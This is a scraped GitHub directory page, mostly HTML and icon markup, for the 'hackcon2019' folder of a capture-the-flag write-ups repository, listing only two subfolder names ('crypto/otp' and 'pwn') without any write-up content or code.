<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> r4j0x00 </span> <span>/</span> ctf-writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>10</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/r4j0x00/ctf-writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":204000670,"originating_url":"https://github.com/r4j0x00/ctf-writeups/tree/master/hackcon2019","user_id":null}}" data-hydro-click-hmac="e9c0bc14f9140b70d916234db1ddaad8129ade2601f93f9ca9c8fba07aa88f1e"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/r4j0x00/ctf-writeups/refs" cache-key="v0:1566565731.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cjRqMHgwMC9jdGYtd3JpdGV1cHM=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/r4j0x00/ctf-writeups/refs" cache-key="v0:1566565731.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cjRqMHgwMC9jdGYtd3JpdGV1cHM=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span>hackcon2019<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span>hackcon2019<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/r4j0x00/ctf-writeups/tree-commit/aa13537192c6e9eba5e724d609403faee659ba5a/hackcon2019" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/r4j0x00/ctf-writeups/file-list/master/hackcon2019"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span><span>crypto/</span>otp</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 